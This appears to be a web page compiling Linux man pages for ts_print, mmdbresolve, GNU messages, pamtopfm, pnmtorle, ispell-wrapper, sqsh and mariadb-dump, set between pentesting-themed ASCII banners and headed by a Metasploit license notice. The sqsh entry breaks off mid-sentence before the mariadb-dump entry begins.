THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The Metasploit Framework is provided under the 3-clause BSD license above.

The copyright on this package is held by Rapid7 LLC.

This license does not apply to several components within the Metasploit Framework source tree. For more details see the LICENSE file.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

245 - Linux cli command ts_print

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_print and provides detailed information about the command ts_print, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_print.

NAME 🖥️ ts_print 🖥️

A very basic test routine for tslib.

SYNOPSIS

ts_print

ts_print_raw

DESCRIPTION

ts_print simply reads tslib input samples and prints them to the console. With ts_print , the configured filters are applied, see ts.conf (5). With ts_print_raw , no filters are applied.

It supports single touch only.

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

246 - Linux cli command mmdbresolve

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmdbresolve and provides detailed information about the command mmdbresolve, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmdbresolve.

NAME 🖥️ mmdbresolve 🖥️

Read IPv4 and IPv6 addresses and print their IP geolocation information.

SYNOPSIS

mmdbresolve -f <dbfile>-f <dbfile> ]

DESCRIPTION

mmdbresolve reads IPv4 and IPv6 addresses on stdin and prints their IP geolocation information on stdout. Each input line must contain exactly one address. Output is in INI format, with a section delimiter named after the query address followed by a set of “key: value” pairs. A comment beginning with “# End” is appended to each section.

At startup an “[init]” section is printed that shows the status of each datbase and of mmdbresolve itself.

OPTIONS

-f

Path to a MaxMind Database file. Multiple databases may be specified.

EXAMPLES

To resolve a single address:

echo 4.4.4.4 | mmdbresolve -f /usr/share/GeoIP/GeoLite2-City.mmdb

Example output

[init] db.0.path: /usr/share/GeoIP/GeoLite2-City.mmdb db.0.status: OK mmdbresolve.status: true # End init [4.4.4.4] # GeoLite2-City country.iso_code: US country.names.en: United States location.latitude: 37.751000 location.longitude: -97.822000 # End 4.4.4.4

SEE ALSO

wireshark(1), tshark(1)

NOTES

mmdbresolve is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Gerald Combs <gerald[AT]wireshark.org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

247 - Linux cli command messages

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command messages and provides detailed information about the command messages, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the messages.

NAME 🖥️ messages 🖥️

count the number of messages in a mailbox

SYNOPSIS

messages.mailutils [OPTION…] [mailbox…]

DESCRIPTION

GNU messages count the number of messages in a mailbox

-q, -s, –[no-]quiet, –silent
only display number of messages

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

248 - Linux cli command pamtopfm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtopfm and provides detailed information about the command pamtopfm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtopfm.

.

NAME 🖥️ pamtopfm 🖥️

Convert Netpbm image to PFM (Portable Float Map)

SYNOPSIS

pamtopfm [-endian={big|little}] [**-scale=**float] [imagefile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamtopfm reads a Netpbm image (PNM or PAM) and converts it to a PFM (Portable Float Map) image.

The PFM (Portable Float Map) image format is a lot like PPM, but uses floating point numbers with no maxval to achieve a High Dynamic Range (HDR) format. That means it doesn’t have a concept of absolute color and it can represent generic light intensity information rather than just visual information like PPM does. For example, two pixels that are so close in intensity that the human eye cannot tell them apart are not visually distinct, so a visual image format such as PPM would have no reason to use different sample values for them. But an HDR format would.

There are details of the PFM format in the “PFM Format Description” (1) .

USC’s HDRShop program and a program called Lefty use it.

pamtopfm creates a color PFM image if its input is RGB (PPM) and a non-color PFM otherwise.

Use pfmtopam(1) to convert a PFM image to Netpbm format.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtopfm recognizes the following command line options:

**-scale=**float
This specifies the scale factor of the PFM image. Scale factor is a component of the PFM format. Default is 1.0.

-endian={big|little}
This specifies the endianness of the PFM image. The samples in the raster of a PFM image are 4 byte IEEE floating point numbers. A parameter of the IEEE format, and therefore the PFM format, is endianness, i.e. whether the specified bytes are ordered from low addresses to high addresses or vice versa.

big means big endian – the natural ordering; little means little-endian, the Intel-friendly ordering.

Default is whichever endianness the machine on which pamtopfm runs uses internally, which results in the faster execution.

SEE ALSO

Netpbm(1) , pfmtopam(1) , pam(1)

HISTORY

pamtopfm was added to Netpbm in Release 10.22 (April 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtopfm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

249 - Linux cli command pnmtorle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtorle and provides detailed information about the command pnmtorle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtorle.

.

NAME 🖥️ pnmtorle 🖥️

convert a Netpbm image file into an RLE image file.

SYNOPSIS

pnmtorle

[-header] [-verbose] [-alpha] [**-outfile=**outfile] [pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

This program converts Netpbm image files into Utah RLE image files. You can include a transparency mask. If the input is a multiple image file, the output consists of several concatenated RLE images.

pnmfile is the name of the Netpbm image input file. If you don’t specify this argument, input is from Standard Input.

The RLE file will contain either a three channel color image (24 bits) or a single channel grayscale image (8 bits) depending upon the type of Netpbm input. If the Netpbm input is color, the RLE output is 3 channel 24 bit color. If the Netpbm input is grayscale or black and white, the RLE output is single channel grayscale.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtorle recognizes the following command line options:

-verbose
This option will cause pnmtorle to operate in verbose mode. The program writes header information to Standard Error. Actually, there is not much header information stored in a Netpbm file, so this information is minimal.

Before Netpbm 10.98 (March 2022), this option is just -v.

-header
This option causes the program to dump the header of the Netpbm image to be Standard Error without converting the file. It is equivalent to using the -verbose option except that no file conversion takes place.

Before Netpbm 10.98 (March 2022), this option is just -h.

-alpha
This option causes pnmtorle to include a transparency channel in the output image. The transparency channel is based on the image: Wherever a pixel is black, the corresponding transparency value is transparent. Everywhere else, the transparency value is fully opaque.

-outfile outfile
If you specify this option, pnmtorle writes the output to this file. If outfile is - or you don’t specify -outfile, pnmtorle writes the output to Standard Output.

Before Netpbm 10.98 (March 2022), this option is just -o.and must be separated from its value by a space, not an equal sign.

EXAMPLES

   pnmtorle -verbose file.ppm -outfile=file.rle

While running in verbose mode, convert file.ppm to RLE format and store resulting data in file.rle.

   pnmtorle -header file.pgm

Dump the header information of the Netpbm file called file.pgm.

SEE ALSO

rletopnm(1)

AUTHOR

Wes Barris,
Army High Performance Computing Research Center (AHPCRC)
Minnesota Supercomputer Center, Inc.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtorle.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

250 - Linux cli command ispell-wrapper

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ispell-wrapper and provides detailed information about the command ispell-wrapper, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ispell-wrapper.

NAME 🖥️ ispell-wrapper 🖥️

wrapper - smart wrapper for ispell

SYNOPSIS

ispell-wrapper [–emacs=name] [–language=regexp] [–dry-run] [ispell options] file Options (all long only options): –emacs=name Set the language to use by emacs dict name –language=regexp Set the language to use by name –dry-run Only show what would have done

DESCRIPTION

ispell-wrapper is a wrapper script for ispell intended to be used in a Debian system in conjunction with the infrastructure introduced by the dictionaries-common package. Option –dry-run will show the string to be run without doing anything else.

It automatically sets the -d, -w, and -T options to ispell as a function of the chosen language. Of course, this only works for dictionary packages that comply with the above mentioned Policy.

Here is how the language is defined (in order of priority):

  1. By matching the emacs dict name given in –emacs option to the name of one of the emacs dicts names provided by installed languages in the system. This match must be exact (although is case insensitive). Note that this will override any value given in the –language option.

  2. By matching the regexp given in option –language to the list of installed languages in the system.

  3. By matching the regexp stored in the environment variable ISPELLDEFAULT to the list of installed languages in the system.

  4. By using the value stored in the user-specific file ~/.ispell-default (use select-default-iwrap (1) to set it).

  5. By using the value stored in the site-wide file /etc/dictionaries-common/ispell-default (use select-default-ispell (8) as superuser to set it).

Note: regexp matches are case-insensitive and the ISO-8859-1 special characters are transformed into their ASCII equivalents. German ess-zet is equivalent to the character s and the ae ligature to the character e.

EXAMPLE

Let us say that the following dictionaries are installed in the system (as appearing in the Debconf question at installation time):

castellano (Spanish TeX mode) castellano8 (Spanish 8 bit) português (European Portuguese) português brasileiro (Brazilian Portuguese)

Choosing the regexp (either in the –language option or in the environment variable ISPELLDEFAULT) to be span will yield an error, since two languages will match (castellano and castellano8). However, if the regexp is span.*8, the language castellano8 (Spanish 8 bit) will be chosen.

ENVIRONMENT

ISPELLDEFAULT
Regexp that matches the name of the default language to use, if no –language option is given.

FILES

$HOME/.ispell-default
Contains the name of the language to use, if no –language option is given or if the ISPELLDEFAULT environment variable is not set. This is a user-specific choice.

/etc/dictionaries-common/ispell-default
Name of the language to use when everything above is not set. This is a system-wide setting.

SEE ALSO

select-default-ispell (8), select-default-iwrap (1)

AUTHORS

Rafael Laboissiere

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

251 - Linux cli command sqsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqsh and provides detailed information about the command sqsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqsh.

NAME 🖥️ sqsh 🖥️

Interactive database shell (version 2.5)

SYNOPSIS

sqsh [[options]] [[args……]] [ -a count ] [ -A packet_size ] [ -b ] [ -B ] [ -c [cmdend] ] [ -C sql ] [ -d severity ] [ -D database ] [ -e ] [ -E editor ] [ -f severity ] [ -G tds_version ] [ -h ] [ -H hostname ] [ -i filename ] [ -I interfaces ] [ -J charset ] [ -k keywords ] [ -K keytab] [ -l debug_flags ] [ -L var=value ] [ -m style ] [ -n on|off ] [ -N appname ] [ -o filename ] [ -p ] [ -P [password] ] [ -Q query_timeout ] [ -r [sqshrc] ] [ -R server principal ] [ -s colsep ] [ -S server ] [ -t [filter] ] [ -T login_timeout ] [ -U username ] [ -v ] [ -V [bcdimoqru]] [ -w width ] [ -X ] [ -y directory ] [ -z language ] [ -Z [secmech|default|none] ]

DESCRIPTION

Sqsh (pronounced skwish) is short for SQshelL (pronounced s-q-shell), and is intended as a replacement for the venerable ‘isql’ program supplied by Sybase. It came about due to years of frustration of trying to do real work with a program that was never meant to perform real work.

Sqsh is much more than a nice prompt, it is intended to provide much of the functionality provided by a good shell, such as variables, aliasing, redirection, pipes, back-grounding, job control, history, command substitution, and dynamic configuration. Also, as a by-product of the design, it is remarkably easy to extend and add functionality.

OPTIONS

The following options may be used to adjust some of the behavior of sqsh, however a large portion of the configuration options are available only through environment variables which may be set at runtime or via a .sqshrc file.

Options may also be supplied in the SQSH environment variable. This variable is parsed prior to parsing the command line, so in most cases the command line will override the contents of the variable. Be aware that for options which are allowed to be supplied multiple times, such as -c, supplying them both in a variable and on the command line will be the same as supplying them multiple times on the command line.

-a count

Sets the maximum count of failures (as determined by the $thresh_fail variable) that may occur before sqsh will abort. Setting this to 0 indicates that sqsh should not exit on errors. This value defaults to 0 and may also be set using the $thresh_exit variable. See section EXIT STATUS for details.

-A packetsize

Specifies the size of the network TDS packets used to communicate with the SQL server. This value must be between 512 and 8192, and be a multiple of 512. Check your SQL Server configuration to determine supported packet sizes. This value may also be specified at run-time using the $packet_size variable.

-b

Suppress the banner message upon startup. This is unnecessary in cases where stdout has been redirected to a file. This option may also be set via the $banner variable.

-B

Turns off all buffering of stdin, stdout, and stderr. This feature allows sqsh to be run from an interactive control script such as chat and expect.

-c [cmdend]

Internally sqsh provides the command \go to send a batch of SQL to the database and provides a single alias, go for this command. Each time cmdend is supplied a new alias for \go is established.

-C sql

Causes the sql command to be executed by sqsh, similar to the same behavior exhibited by the -i flag. This sql statement may not contain double quotes (this limitation may be lifted in a future release of sqsh).

-d severity

Sets the minimum SQL Server error severity that will be displayed to the user. The default is 0, and valid ranges are from 0 to 22. This may also be set using the $thresh_display variable. See section EXIT STATUS.

-D database

Causes sqsh to attempt to start with your database context set to database rather than your default database (usually master). This may also be set using the $database variable.

-e

Includes each command issued to sqsh to be included in the output. This option may also be set via the $echo variable (which is unrelated to the cho command).

-E editor

Set the default editor to editor. This may also be set using the UNIX environment variable $EDITOR to the name of the editor desired.

-f severity

Sets the minimum severity level considered a failure by sqsh. This is the same as setting the $thresh_fail variable. See section EXIT STATUS for details.

-G tds_version

Set the TDS version to use. Valid versions are 4.0, 4.2, 4.6, 4.9.5, 5.0 and freetds additionally supports versions 7.0 and 8.0. The specified value is assigned to the variable $tds_version. Input validation is not performed by sqsh. However, when an invalid TDS version is specified, the default version of 5.0 will be used. After a session is setup, the variable $tds_version will be set to the TDS version in effect. The variable will not be available if option -G is not used. Meant for test and debugging purposes only. TDS stands for Tabular Data Stream and is the communication protocol Sybase and Microsoft uses for Client-Server communication.

-h

Turns off column headers and trailing (# rows affected) from batch output.

-H hostname

Sets the client hostname as reported in sysprocesses. This may also be set via the $hostname variable.

-i filename

Read all input from filename rather than from stdin.

-I interfaces

When a connection is established to the database, the interfaces file is used to turn the value of $DSQUERY into the hostname and port to which the connection will be made, by default this is located in $SYBASE/interfaces. This flag allows this default to be overridden.

-J charset

Specifies the character set to be used on the client side to communicate with SQL Server. This may also be set using the $charset environment variable.

-k keywords

Specifies a file containing a list of keywords to be used for keyword tab completion, if readline support has been compiled into sqsh. This file may also be set via the $keyword_file variable, which defaults to $HOME/.sqsh_words.

-K keytab

Kerberos support. Specify the keytab file name for DCE. See the Kerberos Support section below for details.

-l debug_flags

If sqsh has been compiled with -DDEBUG, this option may be used to turn on and off debugging options. See the $debug variable, below.

-L var=value

Sets the value of $var to value. This may be used to set the value of any sqsh variable even if an explicit command line variable is supplied for setting the variable. The -L flag may be used to set the value of non-configuration variables as well.

-m style

Changes the current display style to style. Currently supported styles are horiz, vert, bcp, csv, html, meta, pretty and none. The current display style may also be set using the $style variable or via the -m flag to the \go command.

-n on|off

Enables chained transaction mode on connect (if set to on). Chained transaction mode is also known as AutoCommit off mode.

-N appname

Set the application name sqsh uses to identify itself to the SQL server. The application name can be retrieved from the server using the column program_name of the master.dbo.sysprocesses table. Defaults to sqsh-2.1.7.

-o filename

Redirects all output to filename rather than stdout.

-p

Display performance statistics upon completion of every SQL batch. This option may also be turned on via the $statistics variable, or by supplying the -p flag to the \go command.

-P [password | -]

The Sybase password for username required to connect to server (default, NULL). The password may also be set via $password. Supplying a password of ‘-’ causes the password to be read from the first line of stdin. sqsh takes pains to hide the password from any user trying to view the command line used to launch sqsh, so using -P should not constitute a security hole. Alternatively, you can store your default password in .sqshrc file which is not readable by anyone other than yourself. (chmod 600 .sqshrc)

-Q value

Query timeout value (equivalent to isql’s -t option). If set, will timeout a long running query. Maps to the $query_timeout variable. For example: sqsh -SASE1502 -Usa -P -Q30 ASE1502.sa.master.1> cd tix ASE1502.sa.tix.1> select count(*) from E_TIX; Open Client Message Layer 1, Origin 2, Severity 2, Number 63 ct_results(): user api layer: internal Client Library error: Read from the server has timed out. ASE1502: Query or command timeout detected, command/batch cancelled ASE1502: The client connection has detected this 1 time(s). See also the $max_timeout variable, which controls the number of times a timeout may occur on the current connection before the session is aborted.

-r [sqshrc]

Specifies an alternate .sqshrc file to be processed, rather than the default. If no sqshrc is supplied following -r, then no initialization files are processed. This flag must be the first argument supplied on the command line, all other instances will be ignored.

-R server_principal

Kerberos support: Specifies a server principal to use for network (Kerberos) authentication, if the server name in the interfaces file differs from the real server name. See the Kerberos Support section below for details.

-s colsep

Causes the string colsep to be used to delimit SQL column output columns, this defaults to .

-S server | host:port[:filter]

The name or the address of the Sybase server to connect. The default of this is the external environment variable $DSQUERY. If neither -S nor $DSQUERY is set then defaults to SYBASE. This value may also be set via the internal variable $DSQUERY. The servername must exist in the interfaces or sql.ini file. As an alternative it is also possible to specify the target server as host:port[:filter] where host may also be an IP address. Note that filter may be defined in $SYBASE/$SYBASE_OCS/config/libtcl[64].cfg. For example: [FILTERS] ssl=libsybfssl.so ssl64=libsybfssl64.so

-t [filter]

Enables filtering of command batches through an external program, filter, and prior to being sent to the SQL Server. If filter is not supplied, then $filter_prog is used (default is ‘m4 -’). This value may also be set via the $filter and $filter_prog variables.

-T value

Specifies the login timeout (similar to isql’s -l flag). If set specifies the number of seconds sqsh will wait before timing out a login request. Maps to the $login_timeout variable.

-U username

The Sybase username to connect to the database as, this defaults to the username of the user running sqsh. The username may also be set via the $username variable.

-v

Displays the version number, $version, and exits.

-V [bcdimoqru]

Kerberos support: Specify the security options to use. See the Kerberos Support section below for details.

-w width

The maximum output width of a displayed result set, this defaults to your screen width in interactive mode.

-X

Initiates the login connection to the server with client-side password encryption (if supported). If either SQL Server does not recognize this option, or if the version of CT-Lib used to compile sqsh does not support this option, then it will be ignored. This option may also be set using the $encryption environment variable.

-y directory

Specifies a SYBASE directory to use other than the value of $SYBASE in order to find the interfaces file.

-z language

Specifies an alternate language to display sqsh prompts and messages. Without the -z flag, the server’s default language will be used. This may also be set using the $language variable.

-Z [secmech|default|none]

Kerberos support: Specify the security mechanism to use. See the Kerberos Support section below for details.

args…

If sqsh is run with the -i flag specifying an input file to be processed (rather than initiating an interactive session), arguments may be supplied on the command line to be passed to the input file. These arguments may be accessed using the variables ${0}, ${1}, … (see the Variables section, below, for more information).

Initialization

Upon startup, sqsh initializes all internal environment variables, commands, and aliases to their default values, it then looks in the system-wide configuration file, /etc/sqshrc, followed by a local configuration file $HOME/.sqshrc (this may be overridden via the SQSHRC external environment variable). If this file is found it is executed just like a script would be using the -i flag.

The .sqshrc file may contain anything that could normally be typed at the prompt, however it should be noted that at the time this file is read sqsh has yet to establish a connection to the database, however most commands that perform database activity, such as \go will attempt to establish a database connection when executed (it may also prompt you for a password if necessary). Also, if database activity is required within this startup file, the **

252 - Linux cli command mariadb-dump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-dump and provides detailed information about the command mariadb-dump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-dump.

NAME 🖥️ mariadb-dump 🖥️

dump - a database backup program (mysqldump is now a symlink to mariadb-dump)

SYNOPSIS

**mysqldump [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqldump client is a backup program originally written by Igor Romanenko. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MariaDB server). The dump typically contains SQL statements to create the table, populate it, or both. However, mysqldump can also be used to generate files in CSV, other delimited text, or XML format.

If you are doing a backup on the server and your tables all are MyISAM tables, consider using the mysqlhotcopy instead because it can accomplish faster backups and faster restores. See mysqlhotcopy(1).

There are four general ways to invoke mysqldump:

shell> mysqldump [options] db_name [tbl_name …] shell> mysqldump [options] –databases db_name … shell> mysqldump [options] –all-databases shell> mysqldump [options] –system={options}

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are dumped.

mysqldump does not dump the INFORMATION_SCHEMA or performance_schema databases by default. To dump these, name them explicitly on the command line, although you must also use the –skip-lock-tables option.

To see a list of the options your version of mysqldump supports, execute mysqldump –help.

Some mysqldump options are shorthand for groups of other options:

·

Use of –opt is the same as specifying –add-drop-table, –add-locks, –create-options, –disable-keys, –extended-insert, –lock-tables, –quick, and –set-charset. All of the options that –opt stands for also are on by default because –opt is on by default.

·

